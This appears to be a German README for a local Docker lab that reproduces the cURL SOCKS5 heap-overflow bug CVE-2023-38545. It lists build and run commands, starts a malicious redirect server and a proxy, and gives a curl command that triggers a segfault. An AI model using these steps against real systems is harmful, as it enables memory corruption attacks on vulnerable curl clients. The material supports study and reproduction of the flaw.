
Dockerfile mit allen erforderlichen Setup-Dateien, um den Exploit zu demonstrieren
Dies zeigt die cURL-CVE-2023-38545. Es ist so schlank wie möglich gehalten.
Zuerst das Docker-Image erstellen:
docker build . -t cveimage
Als Nächstes können wir einfach die Image-Datei ausführen, wobei ein temporärer Docker-Container erstellt wird, der gelöscht wird, sobald der Container gestoppt wird:
docker run --rm --tty --net="host" --name cvecontainer cveimage
Wenn Sie Probleme haben, Befehle einzugeben, öffnen Sie einfach ein anderes Terminal und führen Sie Folgendes aus:
docker exec -it cvecontainer /bin/bash
Nun müssen wir alle Dienste starten. Verbinden Sie sich mit dem bereits laufenden Container und führen Sie Folgendes aus:
./exploit/malicious_redirect_server.sh &
python3 /exploit/proxy.py &
Jetzt können Sie von innerhalb des Containers aus den cURL-Exploit in Aktion sehen:
curl -vvv --limit-rate 100 --location --proxy socks5h://127.0.0.1:1080 http://localhost:8000
Sie müssen einen Segmentation-Fault-Fehler auf dem Rechner sehen, der den curl-Befehl ausgeführt hat, um zu wissen, dass der Exploit erfolgreich war. Wenn Sie ihn nicht sehen, ist entweder der Exploit nicht aufgetreten, oder der Prozess hatte so viel Heap-Speicher zur Verfügung, dass Sie nicht in unzugänglichen Speicher überschrieben haben.